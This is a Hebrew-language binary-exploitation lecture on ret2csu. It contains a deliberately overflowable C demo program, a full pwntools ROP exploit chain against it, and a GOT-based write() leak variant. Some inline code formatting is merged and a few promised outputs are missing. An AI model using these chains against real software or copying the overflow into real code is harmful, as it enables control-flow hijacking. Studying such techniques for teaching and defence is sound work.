6.2 ret2csu הרצאה
בפרק הזה אנחנו מעמיקים ב-ROP ומתמודדים עם מצבים שבהם הבינארי לא נותן לנו את מה שאנחנו צריכים "על מגש". בשיעור הקודם על stack pivoting ראינו מה עושים כשאין מספיק מקום למחסנית מזויפת. עכשיו ניגע בבעיה אחרת ומאוד נפוצה: אנחנו רוצים לקרוא לפונקציה עם שלושה ארגומנטים ב-64 ביט, אבל בבינארי הקטן אין גאדג'ט pop rsi ואין pop rdx. במקום להתייאש, נשתמש בטריק אלגנטי שנקרא ret2csu, שמנצל שתי חתיכות קוד שהמהדר משאיר כמעט בכל בינארי קלאסי - בתוך הפונקציה __libc_csu_init. עם שתי החתיכות האלה נשתלט על rdi, rsi ו-rdx בבת אחת, ואפילו נקרא לפונקציה שרירותית.
הבעיה - כשחסרים גאדג'טים לאוגרים¶
נזכיר את קונבנציית הקריאה של System V ב-64 ביט: שלושת הארגומנטים הראשונים עוברים ב-rdi, rsi, rdx. כדי לקרוא ל-func(a, b, c) דרך ROP, אנחנו צריכים גאדג'ט שיטען כל אחד מהאוגרים האלה. הגאדג'ט pop rdi ; ret כמעט תמיד קיים, כי מהדרים משתמשים בו הרבה. pop rsi כבר פחות נפוץ, ולרוב מגיע כ-pop rsi ; pop r15 ; ret. אבל pop rdx ; ret הוא נדיר מאוד בבינארים קטנים - פשוט אין קוד שדורש שליפה של rdx מהמחסנית.
בואו נראה את זה בפועל. נניח שיש לנו בינארי לא-PIE, בלי canary, עם NX פעיל, ואנחנו רוצים לקרוא ל-write(1, buf, len) או לפונקציה כלשהי שדורשת ערך מדויק ב-rdx:
$ ROPgadget --binary ./demo | grep 'pop rdi ; ret'
0x0000000000401293 : pop rdi ; ret
$ ROPgadget --binary ./demo | grep 'pop rsi'
0x0000000000401291 : pop rsi ; pop r15 ; ret
$ ROPgadget --binary ./demo | grep 'pop rdx ; ret'
$
אין פלט לשורה האחרונה. אין pop rdx. בלי rdx לא נוכל לקבוע את הארגומנט השלישי, ולכן לא נוכל לקרוא כמו שצריך ל-write, ל-read, ל-execve ולעוד המון פונקציות שימושיות. כאן נכנס ret2csu.
הפונקציה __libc_csu_init - מאגר גאדג'טים אוניברסלי¶
כל בינארי C קלאסי שקומפל בקישור רגיל מכיל פונקציית אתחול בשם __libc_csu_init. את הפונקציה הזו קורא __libc_start_main עוד לפני main, והתפקיד שלה הוא להריץ את כל ה-constructors שרשומים ב-.init_array. בשביל להריץ מערך של מצביעי פונקציות עם שלושה ארגומנטים, המהדר בנה בתוכה בדיוק את הקוד שאנחנו צריכים: קוד שטוען אוגרים מהמחסנית וקורא לפונקציה דרך מצביע. זה מתנה אמיתית לתוקף.
בואו נפרק את הפונקציה. נריץ objdump ונסתכל על הסוף שלה:
הפלט הרלוונטי (הכתובות אצלכם יהיו שונות, אל תעתיקו עיוור):
00000000004011c0 <__libc_csu_init>:
...
4011da: mov rdx, r15
4011dd: mov rsi, r14
4011e0: mov edi, r13d
4011e3: call QWORD PTR [r12+rbx*8]
4011e7: add rbx, 0x1
4011eb: cmp rbp, rbx
4011ee: jne 4011da <__libc_csu_init+0x1a>
4011f0: add rsp, 0x8
4011f4: pop rbx
4011f5: pop rbp
4011f6: pop r12
4011f8: pop r13
4011fa: pop r14
4011fc: pop r15
4011fe: ret
בתוך הקטע הקצר הזה מסתתרים שני גאדג'טים שביחד נותנים לנו שליטה מלאה. נסמן אותם:
- גאדג'ט ה-pop בכתובת
0x4011f4: רצף של שש הוראותpopשטוענות אתrbx,rbp,r12,r13,r14,r15מהמחסנית, ואזret. - גאדג'ט ה-mov/call בכתובת
0x4011da: מעבירr15ל-rdx, אתr14ל-rsi, אתr13dל-edi, ואז קורא ל-[r12+rbx*8].
שני הגאדג'טים - pop ו-mov/call¶
גאדג'ט ראשון - טעינת אוגרי הביניים - pop¶
הגאדג'ט הזה הוא הבסיס. הוא לא טוען את rdi/rsi/rdx ישירות, אלא אוגרים "מתווכים":
עם הגאדג'ט הזה אנחנו שולטים בשישה אוגרים בבת אחת. שלושה מהם (r13, r14, r15) יהפכו לארגומנטים, ושלושה (rbx, rbp, r12) ישלטו במנגנון הקריאה עצמו. תכף נראה בדיוק אילו ערכים לשים.
גאדג'ט שני - העברה לאוגרי הארגומנטים וקריאה - mov/call¶
mov rdx, r15 ; the third argument
mov rsi, r14 ; the second argument
mov edi, r13d ; the first argument (only the lower 32 bits!)
call QWORD PTR [r12+rbx*8]
זה הלב של הטריק. הוא לוקח את שלושת האוגרים שטענו בגאדג'ט הראשון ומעביר אותם למקומות הנכונים לפי קונבנציית הקריאה, ואז מבצע קריאה עקיפה דרך זיכרון: הוא קורא מצביע פונקציה מהכתובת r12+rbx*8 וקופץ אליו. שימו לב שהקריאה היא דרך [r12+rbx*8], כלומר r12 צריך להצביע על תא בזיכרון שמכיל את כתובת הפונקציה, ולא על הפונקציה עצמה. זו נקודה קריטית שנחזור אליה.
הרכבת הקריאה - איך משרשרים¶
עכשיו נחבר את שני הגאדג'טים לchain אחת שקוראת ל-func(arg1, arg2, arg3). הרעיון:
- קופצים לגאדג'ט ה-pop, וטוענים ממנו את ששת האוגרים.
- קופצים לגאדג'ט ה-mov/call, שמעביר ל-
rdi/rsi/rdxוקורא לפונקציה.
מה שמים בכל אוגר:
rbx = 0- כדי שהקריאה תהיהcall [r12+0], כלומרcall [r12].rbp = 1- זו הנקודה העדינה ביותר. אחרי הקריאה מגיעadd rbx, 1ואזcmp rbp, rbx ; jne. אם נשיםrbp = 1, אז אחרי ההגדלהrbxיהיה 1, ההשוואהcmp 1, 1תצא שווה, ה-jneלא יילקח, והזרימה תמשיך ליציאה המסודרת של הפונקציה. אם נשיםrbp = 0, ה-jneכן יילקח, נחזור ללולאה, ונקרא ל-[r12+8]עם זבל - קריסה.r12 = &func_ptr- כתובת של תא זיכרון שמכיל את הכתובת של הפונקציה שנרצה לקרוא לה.r13 = arg1- יגיע ל-edi(רק 32 ביט תחתונים).r14 = arg2- יגיע ל-rsi.r15 = arg3- יגיע ל-rdx.
עכשיו, מה קורה אחרי הקריאה? הפונקציה שקראנו לה רצה, מסיימת, ומבצעת ret שמחזיר אותנו לתוך __libc_csu_init בדיוק אחרי ה-call, בכתובת של add rbx, 1. משם rbp == rbx אז לא נכנסים שוב ללולאה, ומגיעים לאפילוג: add rsp, 0x8 (מדלג על 8 בתים), ואז שש הוראות pop (48 בתים), ואז ret. כלומר, אחרי כתובת גאדג'ט ה-mov/call בchain שלנו צריך למקם שבעה סלוטים של padding (סלוט אחד ל-add rsp, 8 ועוד שישה לשישה ה-pop), ורק אחריהם את היעד הבא בchain.
הנה מפת המחסנית המזויפת המלאה:
low addresses (top of stack)
+------------------------------+
| padding up to the offset | <-- fills the buffer and saved rbp
+------------------------------+
| pop gadget address | <-- the ret of the vulnerable function jumps here
+------------------------------+
| rbx = 0 |
+------------------------------+
| rbp = 1 |
+------------------------------+
| r12 = &func_ptr | <-- call [r12] will call through this cell
+------------------------------+
| r13 = arg1 (-> edi) |
+------------------------------+
| r14 = arg2 (-> rsi) |
+------------------------------+
| r15 = arg3 (-> rdx) |
+------------------------------+
| mov/call gadget address | <-- the ret of the pop gadget jumps here
+------------------------------+
| padding (add rsp, 8) | <-- slot 1
+------------------------------+
| padding (pop rbx) | <-- slot 2
+------------------------------+
| padding (pop rbp) | <-- slot 3
+------------------------------+
| padding (pop r12) | <-- slot 4
+------------------------------+
| padding (pop r13) | <-- slot 5
+------------------------------+
| padding (pop r14) | <-- slot 6
+------------------------------+
| padding (pop r15) | <-- slot 7
+------------------------------+
| final target address | <-- the last ret jumps here (e.g. exit)
+------------------------------+
high addresses
מגבלת 32 הביט של rdi - mov edi, r13d¶
שימו לב טוב להוראה mov edi, r13d. היא מעבירה רק את 32 הביטים התחתונים של r13, ותוך כדי היא מאפסת את 32 הביטים העליונים של rdi. המשמעות: דרך ret2csu אנחנו יכולים לשלוט רק ב-32 הביטים התחתונים של הארגומנט הראשון. עבור ערכים כמו מספר תיאור קובץ (fd = 1), דגלים קטנים או מספרים - זה מספיק בהחלט. אבל אם הארגומנט הראשון חייב להיות מצביע מלא של 64 ביט (למשל execve("/bin/sh", ...) כשהכתובת של המחרוזת גבוהה מ-0xffffffff), זו בעיה. הפתרון המקובל: להשתמש ב-ret2csu כדי לקבוע את rsi ו-rdx (שמגיעים ב-mov מלא של 64 ביט), ואז להוסיף גאדג'ט רגיל pop rdi ; ret שיקבע את rdi המלא לפני הקריאה לפונקציה עצמה. ככה מנצלים את ret2csu בעיקר בשביל rsi ו-rdx שחסרים, ומשאירים את rdi לגאדג'ט הפשוט שכמעט תמיד קיים.
דוגמה מלאה - קריאה לפונקציה עם שלושה ארגומנטים¶
נבנה בינארי דוגמה שיש בו פונקציה print_flag הדורשת שלושה ערכי קסם, ומצביע גלובלי שמצביע עליה (כדי שיהיה לנו תא זיכרון שמכיל את כתובתה, בשביל call [r12]):
// demo.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void print_flag(unsigned int a, unsigned long b, unsigned long c) {
if (a == 0xdeadbeef && b == 0xcafebabecafebabe && c == 0x1337133713371337) {
puts("FLAG{ret2csu_three_args_pwned}");
} else {
puts("nope");
}
}
// global pointer -> memory cell at a known address holding the address of print_flag
void (*g_target)(unsigned int, unsigned long, unsigned long) = print_flag;
void vuln(void) {
char buf[64];
puts("send bytes:");
read(0, buf, 400); // classic overflow
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
נקמפל בלי canary ובלי PIE כדי לבודד את הטכניקה, ונוודא שבאמת נשארה __libc_csu_init בבינארי:
הנחות ההגנה שלנו: NX פעיל (לא מריצים shellcode), אין canary (הoverflow עוברת), אין PIE (כתובות print_flag, g_target והגאדג'טים קבועות). ret2csu עצמו לא תלוי ב-ASLR של libc, כי כל מה שאנחנו צריכים נמצא בבינארי עצמו.
בדיקת הגנות:
מציאת שני הגאדג'טים והכתובות הרלוונטיות:
# two csu gadgets from __libc_csu_init
$ objdump -d ./demo | grep -A24 '<__libc_csu_init>:'
# ... identify the address of "mov rdx, r15" and the address of "pop rbx"
# the address of the cell that holds the function pointer
$ objdump -t ./demo | grep g_target
0000000000404050 g O .data 0000000000000008 g_target
וה-exploit המלא ב-pwntools, בבנייה ידנית של הchain:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./demo')
# two __libc_csu_init gadgets - pull the addresses from your own binary
csu_pop = 0x4011f4 # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
csu_call = 0x4011da # mov rdx,r15 ; mov rsi,r14 ; mov edi,r13d ; call [r12+rbx*8]
g_target = elf.symbols['g_target'] # &(pointer to print_flag)
exit_fn = elf.symbols['exit'] # clean exit target after the function returns
offset = 72 # confirm with cyclic
payload = flat({offset: [
csu_pop,
0, # rbx = 0 -> call [r12+0]
1, # rbp = 1 -> don't loop back
g_target, # r12 = &func_ptr
0xdeadbeef, # r13 -> edi (arg1, 32 bits)
0xcafebabecafebabe, # r14 -> rsi (arg2)
0x1337133713371337, # r15 -> rdx (arg3)
csu_call,
0, 0, 0, 0, 0, 0, 0, # seven padding slots (add rsp,8 + six pop)
exit_fn, # the final ret
]])
p = process('./demo')
p.recvuntil(b'bytes:')
p.sendline(payload)
print(p.recvall(timeout=2).decode())
הרצה:
הזרימה, צעד אחר צעד: ה-ret של vuln קופץ ל-csu_pop, ששולף rbx=0, rbp=1, r12=&g_target, r13=0xdeadbeef, r14=0xcafe..., r15=0x1337.... ה-ret של גאדג'ט ה-pop קופץ ל-csu_call, שמעביר rdx=r15, rsi=r14, edi=r13d, וקורא ל-[g_target] שזה print_flag. שלושת הערכים תואמים, הדגל מודפס, print_flag חוזרת, ה-add rsp,8 וששת ה-pop אוכלים את הpadding, וה-ret האחרון קופץ ל-exit.
וריאציה - קריאה לפונקציית libc דרך ה-GOT¶
מה אם היעד הוא פונקציית libc, למשל write(1, addr, len), ולא פונקציה מקומית? אז אנחנו לא צריכים מצביע גלובלי משלנו - יש כבר תא מוכן: ה-GOT. הכניסה של פונקציה בטבלת ה-GOT מכילה את הכתובת המפוענחת של אותה פונקציה ב-libc. אז אם נכוון את r12 על write@got, אז call [r12] יקרא בדיוק ל-write:
# r12 = elf.got['write'] -> call [write@got] == call write
payload = flat({offset: [
csu_pop,
0, 1,
elf.got['write'], # r12 = &write@got
1, # r13 -> edi = fd = 1
elf.symbols['flag'], # r14 -> rsi = source address
64, # r15 -> rdx = byte count
csu_call,
0, 0, 0, 0, 0, 0, 0,
elf.symbols['main'], # go back to main to overflow again if needed
]])
זה בדיוק הדפוס שמשתמשים בו כדי לדלוף כתובות (write(1, got_entry, 8) מדליף כתובת libc) לפני מעבר ל-ret2libc. שימו לב ש-fd = 1 הוא ערך קטן שנכנס יפה ב-32 הביטים של edi.
מלכודות נפוצות¶
- שוכחים
rbp = 1: אםrbpלא שווה ל-rbx+1אחרי הקריאה, נכנסים שוב ללולאה וקוראים ל-[r12+8]עם זבל. תמידrbx=0, rbp=1. - מבלבלים בין
r12לפונקציה:r12הוא כתובת של תא שמכיל את מצביע הפונקציה, לא הפונקציה עצמה. אם תשימו את הכתובת שלprint_flagישר ב-r12, ה-call [r12]יקרא לזבל שנמצא בבתים של קודprint_flag. - הpadding אחרי גאדג'ט ה-call: קל לספור לא נכון. זכרו:
add rsp, 8(סלוט אחד) ועוד שישהpop(שישה סלוטים) = שבעה סלוטי padding לפני היעד הסופי. - מגבלת ה-32 ביט של
rdi: אם הארגומנט הראשון הוא כתובת מלאה של 64 ביט,ret2csuלבד לא יספיק - שלבו גםpop rdi ; ret. - הalignment של המחסנית ל-movaps: אם הפונקציה שאתם קוראים לה היא
system/printf"כבדה", ייתכן שתיתקלו בקריסתmovapsמבעיית alignment, בדיוק כמו שראינו ב-2.3. אם קורס בתוך libc, נסו להוסיף גאדג'טretבודד לalignment.
מתי ret2csu לא זמין - בינארים חדשים¶
הטריק הזה מסתמך על קיומה של __libc_csu_init. בגרסאות חדשות של glibc (החל מ-glibc 2.34, בערך משנת 2021) שינו את __libc_start_main כך שהוא כבר לא מקבל מצביעי init/fini, והמהדר הפסיק לפלוט את __libc_csu_init ואת __libc_csu_fini. כלומר, בבינארי שקומפל על מערכת מודרנית, קרוב לוודאי לא תמצאו את הפונקציה הזו ולא את הגאדג'טים שלה. בדיקה מהירה:
$ objdump -d ./demo | grep '__libc_csu_init'
# if there is no output - these gadgets don't exist in this binary
מה עושים אז? יש כמה חלופות, שחלקן נלמד בהמשך הפרק:
- חיפוש גאדג'טים שקולים אחרים בבינארי: לפעמים יש קטעי קוד אחרים שטוענים
rdxאו שמבצעיםcallעקיף. שווה להריץROPgadget --binary ./x | grep 'mov rdx'ולראות מה יש. - גאדג'טים מתוך libc: אם יש לכם leak של כתובת libc, מרחב הגאדג'טים העצום של libc כמעט תמיד יכיל
pop rdx ; retאו שקול לו. הכליone_gadget ./libc.so.6אף מוצא כתובת יחידה שפותחת shell בלי לדאוג בכלל לארגומנטים. - טכניקת SROP (השיעור הבא, 6.3): בעזרת חתימה מזויפת של signal frame קובעים את כל האוגרים בבת אחת, כולל
rdx- חלופה מצוינת כשאין גאדג'טים. - טכניקת ret2dlresolve (6.4): מכריחים את ה-dynamic linker לפענח ולקרוא לפונקציה עבורנו, בלי צורך בleak או בגאדג'טים לאוגרים.
סיכום¶
- כשחסרים גאדג'טים כמו
pop rsiו-pop rdx,ret2csuמנצל שני גאדג'טים מתוך__libc_csu_initכדי לשלוט ב-rdi,rsi,rdxולקרוא לפונקציה שרירותית. - הגאדג'ט הראשון (
pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret) טוען את אוגרי הביניים. - הגאדג'ט השני (
mov rdx,r15 ; mov rsi,r14 ; mov edi,r13d ; call [r12+rbx*8]) מעביר לאוגרי הארגומנטים וקורא לפונקציה דרך מצביע. - הערכים הקבועים:
rbx=0ו-rbp=1כדי שהקריאה תהיהcall [r12]ולא נחזור ללולאה.r12הוא כתובת של תא שמכיל את מצביע הפונקציה (מצביע גלובלי או כניסת GOT). mov edi, r13dמגביל את הארגומנט הראשון ל-32 ביט. לכתובת מלאה של 64 ביט משלביםpop rdi ; ret.- אחרי גאדג'ט ה-call צריך שבעה סלוטי padding (סלוט ל-
add rsp,8ושישה ל-pop) ואז היעד הסופי. - בבינארים חדשים (glibc 2.34 ומעלה)
__libc_csu_initנעלמה. החלופות: גאדג'טים מ-libc,one_gadget, SROP (6.3), ו-ret2dlresolve (6.4).